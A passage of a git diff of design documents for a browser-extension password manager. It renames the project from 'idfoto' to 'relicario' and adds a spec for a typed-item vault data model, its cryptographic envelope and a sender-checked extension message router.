extension/src/shared/types.ts # Add IdfotoSettings interface
extension/src/shared/types.ts # Add RelicarioSettings interface
extension/src/popup/popup.ts # Add 'settings' view to state machine
extension/src/popup/components/unlock.ts # Wire up settings button
```

View File

@@ -1,4 +1,4 @@
# idfoto — Firefox Extension Port Design
# relicario — Firefox Extension Port Design
Port the existing Chrome MV3 extension to Firefox. Shared TypeScript source, separate manifests, separate build outputs. No code changes to components, popup, or content script.
@@ -40,12 +40,12 @@ Firefox supports the `chrome.*` namespace for WebExtension APIs, so no `browser.
```json
{
"manifest_version": 3,
"name": "idfoto",
"name": "relicario",
"version": "0.1.0",
"description": "Two-factor encrypted password manager",
"browser_specific_settings": {
"gecko": {
"id": "idfoto@adlee.work",
"id": "relicario@adlee.work",
"strict_min_version": "128.0"
}
},
@@ -71,7 +71,7 @@ Firefox supports the `chrome.*` namespace for WebExtension APIs, so no `browser.
"extension_pages": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self'"
},
"web_accessible_resources": [{
"resources": ["setup.html", "setup.js", "styles.css", "idfoto_wasm_bg.wasm", "idfoto_wasm.js"]
"resources": ["setup.html", "setup.js", "styles.css", "relicario_wasm_bg.wasm", "relicario_wasm.js"]
}]
}
```
@@ -94,12 +94,12 @@ async function initWasm(): Promise<WasmModule> {
if (typeof ServiceWorkerGlobalScope !== 'undefined') {
// Chrome MV3: service worker context — use initSync
const wasmResponse = await fetch(chrome.runtime.getURL('idfoto_wasm_bg.wasm'));
const wasmResponse = await fetch(chrome.runtime.getURL('relicario_wasm_bg.wasm'));
const wasmBytes = await wasmResponse.arrayBuffer();
initSync({ module: new WebAssembly.Module(wasmBytes) });
} else {
// Firefox: background script context — dynamic import works
const wasmUrl = chrome.runtime.getURL('idfoto_wasm_bg.wasm');
const wasmUrl = chrome.runtime.getURL('relicario_wasm_bg.wasm');
await initDefault(wasmUrl);
}
@@ -130,7 +130,7 @@ Identical to `webpack.config.js` except:
"build:all": "npm run build:wasm && npm run build && npm run build:firefox",
"dev": "webpack --mode development --watch",
"dev:firefox": "webpack --config webpack.firefox.config.js --mode development --watch",
"build:wasm": "wasm-pack build ../crates/idfoto-wasm --target web --out-dir ../../extension/wasm"
"build:wasm": "wasm-pack build ../crates/relicario-wasm --target web --out-dir ../../extension/wasm"
}
}
```

View File

@@ -1,6 +1,6 @@
# idfoto — Standalone Vault Initialization Wizard Design
# relicario — Standalone Vault Initialization Wizard Design
A browser-based wizard that guides new users through creating an idfoto vault from scratch. Lives at `extension/setup.html`, uses the same WASM module as the extension, same terminal dark aesthetic. No server, no Rust toolchain required.
A browser-based wizard that guides new users through creating an relicario vault from scratch. Lives at `extension/setup.html`, uses the same WASM module as the extension, same terminal dark aesthetic. No server, no Rust toolchain required.
## Scope
@@ -37,7 +37,7 @@ Step includes a "Next" button. No validation needed at this step.
Fields:
- Host URL (e.g. `https://git.adlee.work` or `https://github.com`) — pre-filled based on host type selection
- Repository path (e.g. `alee/idfoto-vault`)
- Repository path (e.g. `alee/relicario-vault`)
- API token (password field)
"Test Connection" button:
@@ -58,15 +58,15 @@ Two inputs:
1. Load WASM module
2. Generate random 32-byte `image_secret` via `crypto.getRandomValues()`
3. Embed secret into carrier JPEG via WASM `extract_image_secret` — wait, that's extract. We need `embed`. Check: the WASM crate currently only exposes `extract_image_secret`, not `embed`. **We need to add a `embed_image_secret` function to `idfoto-wasm`.**
3. Embed secret into carrier JPEG via WASM `extract_image_secret` — wait, that's extract. We need `embed`. Check: the WASM crate currently only exposes `extract_image_secret`, not `embed`. **We need to add a `embed_image_secret` function to `relicario-wasm`.**
4. Generate random 32-byte `salt` via `crypto.getRandomValues()`
5. Create `params.json` with default KDF params (`{"argon2_m":65536,"argon2_t":3,"argon2_p":4}`)
6. Derive `master_key` via WASM `derive_master_key(passphrase, image_secret, salt, params_json)`
7. Encrypt empty manifest (`{"entries":{},"version":1}`) via WASM `encrypt_manifest`
8. Push files to repo via git API:
- `.idfoto/salt` (raw 32 bytes)
- `.idfoto/params.json` (JSON string)
- `.idfoto/devices.json` (`[]`)
- `.relicario/salt` (raw 32 bytes)
- `.relicario/params.json` (JSON string)
- `.relicario/devices.json` (`[]`)
- `manifest.enc` (encrypted manifest bytes)
9. Show progress bar during push operations
@@ -81,20 +81,20 @@ Two things happen:
- Show warning: "Keep this image safe. You need it alongside your passphrase to unlock the vault. Store it somewhere you won't lose it."
**Push config to extension (if available):**
- Try to detect the idfoto extension via `chrome.runtime.sendMessage` with a `get_setup_state` message
- Try to detect the relicario extension via `chrome.runtime.sendMessage` with a `get_setup_state` message
- If extension responds: push `save_setup` message with `{ config: { hostType, hostUrl, repoPath, apiToken }, imageBase64 }`. Show "Extension configured! You can now open the extension and unlock your vault."
- If extension not detected: show the config as a copyable JSON blob with instructions: "Install the idfoto extension, then paste this into the setup wizard." (Or just tell them to run through the extension setup manually with the same host/token/repo.)
- If extension not detected: show the config as a copyable JSON blob with instructions: "Install the relicario extension, then paste this into the setup wizard." (Or just tell them to run through the extension setup manually with the same host/token/repo.)
## WASM Crate Change
The `idfoto-wasm` crate needs one new function:
The `relicario-wasm` crate needs one new function:
```rust
#[wasm_bindgen]
pub fn embed_image_secret(carrier_jpeg: &[u8], secret: &[u8]) -> Result<Vec<u8>, JsValue>
```
This wraps `idfoto_core::imgsecret::embed`. Currently only `extract_image_secret` is exposed.
This wraps `relicario_core::imgsecret::embed`. Currently only `extract_image_secret` is exposed.
## File Structure
@@ -154,7 +154,7 @@ Add `setup.html` to the extension so it can be opened as a chrome-extension page
```json
{
"web_accessible_resources": [{
"resources": ["setup.html", "setup.js", "styles.css", "idfoto_wasm_bg.wasm", "idfoto_wasm.js"],
"resources": ["setup.html", "setup.js", "styles.css", "relicario_wasm_bg.wasm", "relicario_wasm.js"],
"matches": ["<all_urls>"]
}]
}

View File

@@ -1,10 +1,10 @@
# idfoto — WASM + Chrome MV3 Extension Design
# relicario — WASM + Chrome MV3 Extension Design
The browser extension for idfoto. Compiles `idfoto-core` to WASM, wraps it in a Chrome MV3 extension with a terminal-aesthetic popup, conservative autofill, and direct Gitea/GitHub API access. No CLI dependency, no native messaging bridge.
The browser extension for relicario. Compiles `relicario-core` to WASM, wraps it in a Chrome MV3 extension with a terminal-aesthetic popup, conservative autofill, and direct Gitea/GitHub API access. No CLI dependency, no native messaging bridge.
## Scope
- `idfoto-wasm` crate — wasm-bindgen wrapper around `idfoto-core`
- `relicario-wasm` crate — wasm-bindgen wrapper around `relicario-core`
- Chrome MV3 extension:
- One-time setup wizard (git host + token + repo + reference image)
- Service worker — WASM runtime, master_key holder, vault operations, git API
@@ -44,9 +44,9 @@ pub struct ManifestEntry {
The `group` field is a free-form string. No predefined list, no nesting. User types "work" or "family" and entries cluster. Backwards-compatible — existing vaults without `group` deserialize as `None` (ungrouped).
## WASM Crate (`idfoto-wasm`)
## WASM Crate (`relicario-wasm`)
Thin wasm-bindgen wrapper exposing `idfoto-core` functions to JavaScript. Lives at `crates/idfoto-wasm/`.
Thin wasm-bindgen wrapper exposing `relicario-core` functions to JavaScript. Lives at `crates/relicario-wasm/`.
### Public API
@@ -94,7 +94,7 @@ pub fn generate_entry_id() -> String
```toml
[dependencies]
idfoto-core = { path = "../idfoto-core" }
relicario-core = { path = "../relicario-core" }
wasm-bindgen = "0.2"
js-sys = "0.3"
serde_json = "1"
@@ -106,10 +106,10 @@ data-encoding = "2" # base32 decoding for TOTP secrets
### WASM build
```bash
wasm-pack build crates/idfoto-wasm --target web --out-dir ../../extension/wasm
wasm-pack build crates/relicario-wasm --target web --out-dir ../../extension/wasm
```
Output: `idfoto_wasm.js` (JS glue) + `idfoto_wasm_bg.wasm` (binary). Expected size ~200-500 KB gzipped. The `image` crate's JPEG decoder is the heaviest component — optimize only if measured size is a problem.
Output: `relicario_wasm.js` (JS glue) + `relicario_wasm_bg.wasm` (binary). Expected size ~200-500 KB gzipped. The `image` crate's JPEG decoder is the heaviest component — optimize only if measured size is a problem.
### TOTP implementation
@@ -147,7 +147,7 @@ interface WorkerState {
interface VaultConfig {
hostType: "gitea" | "github";
hostUrl: string; // e.g. "https://git.adlee.work"
repoPath: string; // e.g. "alee/idfoto-vault"
repoPath: string; // e.g. "alee/relicario-vault"
apiToken: string; // personal access token
imageBytes: Uint8Array; // reference JPEG, stored in chrome.storage.local
}
@@ -190,7 +190,7 @@ Popup and content script communicate with the service worker via typed messages:
2. Popup sends `{ type: "unlock", passphrase }` to service worker
3. Service worker loads vault config from `chrome.storage.local` (includes image bytes)
4. WASM: `extract_image_secret(image_bytes)``image_secret`
5. Service worker fetches `.idfoto/salt` and `.idfoto/params.json` via git API
5. Service worker fetches `.relicario/salt` and `.relicario/params.json` via git API
6. WASM: `derive_master_key(passphrase, image_secret, salt, params)``master_key`
7. Service worker fetches `manifest.enc` via git API
8. WASM: `decrypt_manifest(manifest_enc, master_key)` → manifest
@@ -330,7 +330,7 @@ No shadow DOM traversal. No heuristic scoring. No iframe inspection. If the form
### 2. Field Icon Injection
When a password field is detected:
- Small idfoto icon (16x16, inline SVG) appears at the right edge of the password field
- Small relicario icon (16x16, inline SVG) appears at the right edge of the password field
- Click triggers: send page URL to service worker → get matching entries
- Single match: fill immediately
- Multiple matches: show inline picker (small dropdown below the icon)
@@ -380,7 +380,7 @@ extension/
│ └── shared/
│ ├── messages.ts # typed message definitions
│ └── types.ts # Entry, ManifestEntry, VaultConfig, etc.
├── wasm/ # wasm-pack output (idfoto_wasm.js + .wasm)
├── wasm/ # wasm-pack output (relicario_wasm.js + .wasm)
├── icons/ # extension icons (16, 48, 128px)
└── dist/ # build output → load unpacked into Chrome
```
@@ -392,7 +392,7 @@ No framework. Vanilla TypeScript + DOM manipulation. The popup is small enough t
### WASM build
```bash
wasm-pack build crates/idfoto-wasm --target web --out-dir ../../extension/wasm
wasm-pack build crates/relicario-wasm --target web --out-dir ../../extension/wasm
```
### Extension build
@@ -414,7 +414,7 @@ Chains wasm-pack then webpack. Dev mode: `npm run dev` watches TypeScript and au
```json
{
"manifest_version": 3,
"name": "idfoto",
"name": "relicario",
"version": "0.1.0",
"description": "Two-factor encrypted password manager",
"permissions": ["storage", "activeTab", "clipboardWrite"],
@@ -476,7 +476,7 @@ The token is stored in `chrome.storage.local`, which is sandboxed per-extension
- Unit tests: each wrapper function round-trips correctly (`wasm-pack test --node`)
- TOTP: test vectors from RFC 6238 appendix B
- Integration: derive key + encrypt + decrypt cycle matches `idfoto-core` output
- Integration: derive key + encrypt + decrypt cycle matches `relicario-core` output
### Extension (manual for V1)

View File

@@ -0,0 +1,920 @@
# relicario — Typed Item Data Model Design
Foundational data-model rewrite for relicario. Replaces the single `Entry` type with a polymorphic typed-item system supporting Login, SecureNote, Identity, Card, Key, Document, and TOTP — with sections, custom fields, attachments, password history, soft-delete, and the security architecture needed to support 1Password-style daily-driver UX.
This is **Phase 1** of the broader 1Password-parity roadmap. Phase 0 (audit remediation) is the precursor implementation pass; Phase 2+ (admin portal, importers, Watchtower checks, etc.) build on top of this model.
## Scope
In:
- New typed-item Rust data model in `relicario-core` (replaces `Entry`)
- New on-disk repo layout (items + attachments split, settings file, format version 2)
- Cryptographic envelope updates (length-prefixed Argon2 inputs, Zeroize discipline, opaque session-handle WASM bridge)
- Security architecture for the extension boundary (split message router, origin-checked autofill, closed Shadow DOM rendering, hardened CLI git shell-out)
- WASM API surface for typed items
- Manifest schema supporting browse-without-decrypt
- Vault settings (`settings.enc`) for retention policies, generator defaults, attachment caps, autofill TOFU acks
- BIP39 + random password generators with safe-symbol charset
- Field-level history tracking for sensitive kinds (Password / Concealed / Totp)
Out (deferred to later phases):
- Admin portal (Phase 2)
- Bulk import (Phase 2)
- Watchtower-style checks — HIBP, weak/reused detection (Phase 4)
- TOTP-in-list always-visible display (Phase 5)
- SSH agent, mobile, multi-vault, sharing (Phase 6+)
- Field-level merge of conflicting item edits (post-MVP — MVP prompts user to pick a side)
- Backward compatibility with the v1 vault format (clean break — no users today)
## Roadmap Context
| Phase | Deliverable |
|---|---|
| **Phase 0** | Security remediation per `docs/superpowers/audits/2026-04-18-initial-security-audit.md` (C1C4, H1H8) |
| **Phase 1** | **This spec — typed item data model** |
| Phase 2 | Admin portal scaffold + bulk import + LastPass adapter |
| Phase 3 | 1Password / Chrome / Bitdefender import adapters |
| Phase 4 | Watchtower-style checks (HIBP, weak/reused, 2FA-available) |
| Phase 5 | Daily-driver polish (TOTP-in-list, fuzzy search, autofill polish, quick-fill shortcut) |
| Phase 6+ | SSH agent, mobile (Tauri), multi-vault, sharing |
Phase 0 lands first to remove the audit's release-blocker bugs from the surfaces this spec touches. Phase 1 then builds on the fixed foundation; the security architecture in this spec is the design counterpart of Phase 0's tactical fixes.
## Design Decisions
Captured during brainstorming so the rationale is preserved:
| Question | Decision | Why |
|---|---|---|
| Type granularity | **B**: small structural set (~7 types) + extensibility for future types | 1P's ~20 types are mostly labeling differences; structural set + custom fields covers ~90% of UX with ~30% of the code |
| Field structure | **B+C blend**: typed core fields per variant + sections of custom fields + attachments | Strong typing for predictable fields (autofill, importers benefit) + 1P-style sections for everything else |
| Type list | 7 types: Login, SecureNote, Identity, Card, Key, Document, **TOTP** | TOTP gets *both* Login.totp_secret AND a standalone type (Steam Guard, 2FA-only accounts) |
| Tags vs groups | **Both** — keep both | Tags are flat/cross-cutting (`#work`); groups are hierarchical buckets (`Banking`). Different UX purposes |
| Soft-delete | **Yes**, with configurable retention | Cheap insurance; default 30 days, settable to N days or `forever` |
| Password history | **Yes**, field-kind-driven | Generic over Password / Concealed / Totp kinds — covers Login, Card, Key, TOTP, custom Concealed for free |
| Storage layout | **C**: items + attachments split | Attachments must be separate so 5MB documents don't bloat every metadata sync |
| Serialization | **JSON** then AEAD | KISS — items are tiny, encrypted blob obscures debuggability concerns, max tooling support |
| Extensibility architecture | **A**: plain Rust enum, per-type modules | KISS — Rust's enum + exhaustiveness check IS the extension mechanism; trait+registry's flexibility doesn't pay off until many types |
| Migration from v1 | **None** — clean break | No users today; freely fold all audit fixes into the initial format |
| Strength meter | **zxcvbn**, color-coded slider | ~200KB WASM cost; same library powers Phase 4 Watchtower |
| Generators | **BIP39** (5-word default, space-separator default) + **Random** (20 chars, lower+upper+digits+SAFE_symbols default) | SAFE_symbols = `!@#$%^&*-_=+`; excludes `'"`,;:{}[]<>()|\\/?` that web forms commonly reject |
| Custom field IDs | **Stable `field_id` separate from label** | Renaming a field preserves its history |
| Per-attachment cap | **10MB**, 20-per-item, 500MB-per-vault soft cap | GitHub hard-rejects at 100MB per file; Gitea typically 50MB; comfortable headroom |
| Field kinds | 11 kinds: Text, Multiline, Password, Concealed, Url, Email, Phone, Date, MonthYear, Totp, Reference | `Address` modeled as Multiline; `Number` as Text; `SSHKey` as Concealed or attachment |
| Audit fixes baked in | **All of C1C4, H1H8 designed-in from day one** | No technical debt added on top of a known-broken foundation |
## Architecture Overview
```
┌────────────────────────────────────────────────────────────────────┐
│ relicario-core (Rust) │
│ - Item, ItemCore (7 variants), Field, Section, Attachment │
│ - Manifest, VaultSettings │
│ - crypto: KDF (length-prefixed), AEAD, Zeroize discipline │
│ - generators: bip39, csprng-random │
│ - serialization: serde-json → AEAD │
└──────────┬───────────────────────────────┬─────────────────────────┘
│ │
▼ ▼
┌──────────────────────┐ ┌──────────────────────────────────┐
│ relicario-cli (Rust) │ │ relicario-wasm (Rust → WASM) │
│ - clap commands │ │ - opaque session handles │
│ - hardened git │ │ - typed-item API surface │
│ - rpassword 7.x │ │ - master_key never returned to │
│ - clipboard + │ │ JS │
│ Zeroize │ └──────────┬───────────────────────┘
└──────────────────────┘ │
┌──────────────────────────────────────┐
│ Browser Extension (TypeScript) │
│ - Service worker: split router │
│ (popup-only / content-callable) │
│ - Content scripts: closed Shadow │
│ DOM, textContent only │
│ - Popup UI: typed-item forms │
│ - Setup wizard: not in WAR │
└──────────────────────────────────────┘
```
## Data Model (Rust core)
### Item envelope (universal across all 7 types)
```rust
pub struct Item {
pub id: ItemId, // 16-char hex (audit M8)
pub title: String,
pub r#type: ItemType,
pub tags: Vec<String>,
pub favorite: bool,
pub group: Option<String>,
pub notes: Option<String>,
pub created: i64, // unix-seconds
pub modified: i64,
pub trashed_at: Option<i64>, // soft-delete
pub core: ItemCore, // typed per variant
pub sections: Vec<Section>,
pub attachments: Vec<AttachmentRef>,
pub field_history: HashMap<FieldId, Vec<FieldHistoryEntry>>,
}
pub type ItemId = String; // 16-char hex
pub type FieldId = String; // 16-char hex
pub type AttachmentId = String; // 16-char hex (sha256 of plaintext, truncated)
```
### Type variants
```rust
pub enum ItemType { Login, SecureNote, Identity, Card, Key, Document, Totp }
pub enum ItemCore {
Login(LoginCore),
SecureNote(SecureNoteCore),
Identity(IdentityCore),
Card(CardCore),
Key(KeyCore),
Document(DocumentCore),
Totp(TotpCore),
}
```
Each variant struct lives in `crates/relicario-core/src/item_types/<type>.rs`. Compiler enforces exhaustiveness across the codebase — adding a new variant later means: create the file, add the enum variant, fix the (typically ~5) match-arm sites the compiler points at, register the UI form. No reflection, no registry, no runtime dispatch.
### Per-type cores
```rust
pub struct LoginCore {
pub username: Option<String>,
pub password: Option<Zeroizing<String>>,
pub url: Option<Url>,
pub totp: Option<TotpConfig>,
}
pub struct SecureNoteCore {
pub body: Zeroizing<String>, // Multiline
}
pub struct IdentityCore {
pub full_name: Option<String>,
pub address: Option<String>, // Multiline
pub phone: Option<String>,
pub email: Option<String>,
pub date_of_birth: Option<NaiveDate>,
}
pub struct CardCore {
pub number: Option<Zeroizing<String>>,
pub holder: Option<String>,
pub expiry: Option<MonthYear>,
pub cvv: Option<Zeroizing<String>>,
pub pin: Option<Zeroizing<String>>,
pub kind: CardKind, // Credit | Debit | Gift | Loyalty | Other
}
pub struct KeyCore {
pub key_material: Zeroizing<String>,
pub label: Option<String>,
pub public_key: Option<String>,
pub algorithm: Option<String>, // free-form: "ed25519", "rsa-4096", etc.
}
pub struct DocumentCore {
pub filename: String,
pub mime_type: String,
pub primary_attachment: AttachmentId, // every Document has one main blob
}
pub struct TotpCore {
pub config: TotpConfig,
pub issuer: Option<String>,
pub label: Option<String>,
}
pub struct TotpConfig {
pub secret: Zeroizing<Vec<u8>>, // raw bytes (not base32)
pub algorithm: TotpAlgorithm, // Sha1 | Sha256 | Sha512
pub digits: u8, // 6, 7, or 8
pub period_seconds: u32, // default 30
pub kind: TotpKind, // Totp | Hotp(counter) | Steam
}
```
### Sections + custom fields
```rust
pub struct Section {
pub name: Option<String>, // None = anonymous section
pub fields: Vec<Field>,
}
pub struct Field {
pub id: FieldId, // stable random hex; label is separate
pub label: String,
pub kind: FieldKind,
pub value: FieldValue,
pub hidden_by_default: bool,
}
pub enum FieldKind {
Text, Multiline, Password, Concealed, Url, Email, Phone,
Date, MonthYear, Totp, Reference,
}
pub enum FieldValue {
Text(String),
Multiline(String),
Password(Zeroizing<String>),
Concealed(Zeroizing<String>),
Url(Url),
Email(String),
Phone(String),
Date(NaiveDate),
MonthYear(MonthYear),
Totp(TotpConfig),
Reference(AttachmentId), // pointer into Item.attachments
}
```
`FieldKind` and `FieldValue` are kept as parallel enums (rather than collapsing to a single `enum FieldKindAndValue`) so the kind can be queried without inspecting the value. Validation invariant: `kind` and `value`'s discriminants must match, enforced at construction and during deserialization.
### Field history
```rust
pub struct FieldHistoryEntry {
pub value: Zeroizing<String>, // serialized form of the previous value
pub replaced_at: i64,
}
```
Triggered automatically in the Item setter for any field whose `kind ∈ {Password, Concealed, Totp}`. Vault settings drive retention (default forever; configurable to N most-recent or N days).
For `Totp`, the stored history value is the base32 secret string (not the parsed bytes), keeping history serializable across rotations of digits/algorithm/period.
### Attachments
```rust
pub struct AttachmentRef {
pub id: AttachmentId, // sha256 of plaintext, hex-truncated to 16
pub filename: String,
pub mime_type: String,
pub size: u64, // plaintext size in bytes
pub created: i64,
}
```
The `AttachmentRef` lives on the Item; the actual bytes live in `attachments/<item_id>/<aid>.enc`.
### Generators
```rust
pub enum GeneratorRequest {
Bip39 {
word_count: u32, // default 5
separator: String, // default " ", selectable: "-", "_", ".", ":", ""
capitalization: Capitalization,
},
Random {
length: u32, // 4..=128
classes: CharClasses, // {lower, upper, digits, symbols} bitmask
symbol_charset: SymbolCharset, // SafeOnly | Extended | Custom(String)
},
}
pub enum Capitalization { Lower, Upper, FirstOfEach, Title, Mixed }
pub struct CharClasses {
pub lower: bool, pub upper: bool, pub digits: bool, pub symbols: bool,
}
pub enum SymbolCharset {
SafeOnly, // !@#$%^&*-_=+
Extended, // SafeOnly + a few more, still excluding '"`,;:{}[]<>()|\\/?
Custom(String),
}
```
Single canonical generator implementation in `relicario-core`, exposed via WASM and used by CLI directly. Both paths use `getrandom`-backed `OsRng` and `rand::distributions::Uniform` for unbiased sampling.
## Storage, Manifest & Sync
### Repo layout
```
.relicario/
salt # 32-byte vault salt (KDF input)
params.json # Argon2id parameters, format version
devices.json # authorized device ed25519 pubkeys
items/<id>.enc # full Item, JSON-then-AEAD
attachments/<item_id>/<aid>.enc # binary blob, AEAD'd separately
manifest.enc # browse index
settings.enc # vault-level settings
```
Per-attachment encryption: each attachment has its own random 24-byte XChaCha20 nonce, encrypted with the same vault master key. Filename `<aid>` is content-addressed (`sha256(plaintext)`, hex-truncated to 16 chars). Same plaintext stored twice produces the same file, allowing git deduplication.
### Manifest schema
`manifest.enc` is fully decrypted on every unlock and drives the popup browse view:
```rust
pub struct Manifest {
pub schema_version: u32, // currently 2
pub items: HashMap<ItemId, ManifestEntry>,
}
pub struct ManifestEntry {
pub id: ItemId,
pub r#type: ItemType,
pub title: String,
pub tags: Vec<String>,
pub favorite: bool,
pub group: Option<String>,
pub icon_hint: Option<String>,
pub modified: i64,
pub trashed_at: Option<i64>,
pub attachment_summaries: Vec<AttachmentSummary>,
}
pub struct AttachmentSummary {
pub id: AttachmentId,
pub filename: String,
pub mime_type: String,
pub size: u64,
}
```
The manifest carries enough to render the full browse list — icons, titles, tags, favorites, attachment indicators, last-modified — with **zero per-item decrypts**. Opening an item triggers exactly one `items/<id>.enc` decrypt. Editing a non-displayed field touches only the item file (no manifest churn). Editing a displayed field touches both.
### Vault settings
`settings.enc`:
```rust
pub struct VaultSettings {
pub trash_retention: TrashRetention,
pub field_history_retention: HistoryRetention,
pub generator_defaults: GeneratorRequest, // user's preferred generator config
pub attachment_caps: AttachmentCaps,
pub autofill_origin_acks: HashMap<String, i64>, // hostname → unix-seconds first-acked
}
pub enum TrashRetention { Days(u32), Forever } // default Days(30)
pub enum HistoryRetention { LastN(u32), Days(u32), Forever } // default Forever
pub struct AttachmentCaps {
pub per_attachment_max_bytes: u64, // default 10 * 1024 * 1024
pub per_item_max_count: u32, // default 20
pub per_vault_soft_cap_bytes: u64, // default 100 * 1024 * 1024
pub per_vault_hard_cap_bytes: u64, // default 500 * 1024 * 1024
}
```
### Sync semantics
| Operation | Files written | Commit shape |
|---|---|---|
| Item add | `items/<id>.enc`, `manifest.enc` | one commit |
| Item edit (non-displayed field) | `items/<id>.enc` | one commit |
| Item edit (displayed field) | `items/<id>.enc`, `manifest.enc` | one commit |
| Item soft-delete | `items/<id>.enc` (sets `trashed_at`), `manifest.enc` | one commit |
| Item purge (post-retention) | delete `items/<id>.enc` + `attachments/<id>/*`, `manifest.enc` | one commit |
| Attachment add | `attachments/<item_id>/<aid>.enc`, `items/<id>.enc`, `manifest.enc` | one commit |
| Attachment delete | delete `attachments/<item_id>/<aid>.enc`, `items/<id>.enc`, `manifest.enc` | one commit |
| Settings change | `settings.enc` | one commit |
Conflict handling: existing CLI flow (`git pull --rebase` before push) remains. Two devices editing the same item produce a merge conflict on `items/<id>.enc` (binary AEAD ciphertext, not auto-mergeable). MVP behavior: detect conflict, prompt user to choose a side. Field-level merge by decrypting both sides is post-MVP.
### Large-blob upload path (extension)
`extension/src/service-worker/git-host.ts` gains a `putBlob(payload)` that:
- Uses GitHub/Gitea Contents API for payloads ≤ ~900KB (single PUT with base64 body).
- Falls back to Git Data API for larger payloads (create blob → create tree → create commit → update ref — three round-trips).
All `attachments/*` writes go through this path. Item / manifest / settings files are always small enough for the Contents API.
## Cryptographic Envelope
### Key derivation (audit H1, H2, H3)
```rust
pub fn derive_master_key(
passphrase: &str,
image_secret: &[u8; 32],
salt: &[u8; 32],
params: &Argon2Params,
) -> Result<Zeroizing<[u8; 32]>, RelicarioError> {
let passphrase_nfc = passphrase.nfc().collect::<String>(); // normalize once
let mut password = Zeroizing::new(
Vec::with_capacity(8 + passphrase_nfc.len() + 8 + 32)
);
password.extend_from_slice(&(passphrase_nfc.len() as u64).to_be_bytes());
password.extend_from_slice(passphrase_nfc.as_bytes());
password.extend_from_slice(&32u64.to_be_bytes());
password.extend_from_slice(image_secret);
let mut master_key = Zeroizing::new([0u8; 32]);
let argon2 = Argon2::new(
Algorithm::Argon2id,
Version::V0x13,
Params::new(params.m, params.t, params.p, Some(32))?,
);
argon2.hash_password_into(&password, salt, master_key.as_mut())?;
Ok(master_key)
}
```
- **Length-prefixed inputs** eliminate the `("abc",[0x44,…]) ≡ ("abcD",[…])` ambiguity (audit H1).
- **`Zeroizing` everywhere** — `password` Vec, `master_key` array. Sensitive plaintext fields use the same wrapper at the struct level (audit H2).
- **UTF-8 NFC normalization** of passphrase before length-prefixing eliminates the macOS NFD edge case.
### Passphrase strength gate (audit H3)
`zxcvbn` enforced at vault creation:
```rust
pub fn validate_passphrase_strength(p: &str) -> Result<(), WeakPassphrase> {
let estimate = zxcvbn::zxcvbn(p, &[]);
if estimate.guesses_log10() < 13.5 { // ~2^45 guesses
return Err(WeakPassphrase {
score: estimate.score(),
feedback: estimate.feedback().cloned(),
});
}
Ok(())
}
```
Visual color-coded slider in the setup wizard (and in the future admin portal's "change passphrase" flow) renders `score` 0-4 with feedback text. Vault creation refuses to proceed below `score >= 3` (≈ 2^45 guesses) without an explicit "I understand the risk" confirmation.
### AEAD envelope
Per-encryption layout (item, manifest, settings, each attachment):
```
[VERSION_BYTE][24-byte nonce][AEAD ciphertext + 16-byte tag]
```
- `VERSION_BYTE = 0x02` (clean break — no v1 compat).
- XChaCha20-Poly1305 (already correct, audit confirmed-safe #1).
- Fresh `OsRng`-derived nonce per encryption.
- Decrypt failure returns opaque `RelicarioError::Decrypt` regardless of which validation tripped (audit M4).
### RNG (audit H5, H6)
- `relicario-wasm` uses `getrandom` (with `js` feature) for password generation, item IDs, attachment IDs. **No `Math.random()` anywhere.**
- Modulo-bias eliminated via `rand::distributions::Uniform` for charset sampling — both CLI and WASM paths.
- Single canonical `generate_password` and `generate_bip39` in `relicario-core`, exposed to WASM and called directly by CLI.
### ID format (audit M8)
- `ItemId`, `FieldId`, `AttachmentId`: 16 hex chars (64 bits) generated via `OsRng.fill_bytes(&mut [u8; 8])` → hex.
- `AttachmentId` deviates: it's `sha256(plaintext).hex()[..16]` for content-addressing.
### Per-vault crypto metadata
`.relicario/params.json`:
```json
{
"format_version": 2,
"kdf": { "algorithm": "argon2id-v0x13", "m": 65536, "t": 3, "p": 4 },
"aead": "xchacha20poly1305",
"salt_path": ".relicario/salt"
}
```
Format version present from day one so future migrations have a hook.
Three version fields exist intentionally and evolve independently:
| Field | Where | Bumps when |
|---|---|---|
| `format_version` | `.relicario/params.json` | Overall vault layout changes (file structure, KDF construction, anything cross-cutting) |
| `schema_version` | inside `manifest.enc` | Manifest entry shape changes only (e.g., adding a new field to `ManifestEntry`) |
| `VERSION_BYTE` | first byte of every AEAD blob | AEAD construction itself changes (cipher, nonce size, tag layout) |
All three set to `2` for the initial typed-item release. Future bumps are independent: e.g., adding a manifest field is `schema_version` only; switching to a new AEAD is `VERSION_BYTE` only; changing the on-disk file structure is `format_version` only.
## Security Architecture
### Manifest changes (audit C1)
- `setup.html` and `setup.js` **removed from `web_accessible_resources`** in both `extension/manifest.json` and `extension/manifest.firefox.json`.
- The popup opens setup via `chrome.tabs.create({ url: chrome.runtime.getURL('setup.html') })` — own-origin extension tabs work without WAR.
- WASM artifacts (`relicario_wasm.js`, `relicario_wasm_bg.wasm`) removed from WAR — service worker loads them via `import` from extension origin.
### Split message router (audit C1, C2, C4)
Directory layout:
```
extension/src/service-worker/
router/
popup-only.ts // unlock, lock, list_items, get_item, add/update/delete,
// save_setup, generate_password, vault settings, ...
content-callable.ts // get_autofill_candidates, get_credentials,
// check_credential, fill_credentials, blacklist_site
index.ts // single onMessage entry, dispatches by sender check
session.ts // opaque session-handle table mapping handle → master_key
vault.ts // typed-item operations (was vault.ts; rewritten)
git-host.ts // gains putBlob with Contents/Git Data fallback
```
Dispatch logic (single `chrome.runtime.onMessage` entry point):
```ts
const POPUP_ONLY: ReadonlySet<MessageType> = new Set([
'unlock', 'lock', 'list_items', 'get_item', 'add_item', 'update_item',
'delete_item', 'purge_item', 'restore_item', 'get_totp', 'save_setup',
'get_setup_state', 'update_settings', 'get_settings', 'add_attachment',
'get_attachment', 'delete_attachment', 'generate_password',
'generate_passphrase', 'rate_passphrase', 'change_passphrase',
'list_devices', 'add_device', 'revoke_device',
]);
const CONTENT_CALLABLE: ReadonlySet<MessageType> = new Set([
'get_autofill_candidates', 'get_credentials', 'check_credential',
'fill_credentials', 'blacklist_site',
]);
chrome.runtime.onMessage.addListener((msg, sender, reply) => {
const senderUrl = sender.url ?? '';
const isPopup = senderUrl === chrome.runtime.getURL('popup.html');
const isSetup = senderUrl.startsWith(chrome.runtime.getURL('setup.html'));
const isContent =
sender.tab !== undefined &&
sender.frameId === 0 &&
sender.id === chrome.runtime.id;
if (POPUP_ONLY.has(msg.type)) {
if (!isPopup && !(msg.type === 'save_setup' && isSetup)) {
reply({ ok: false, error: 'unauthorized_sender' });
return false;
}
return popupOnly.handle(msg, sender, reply);
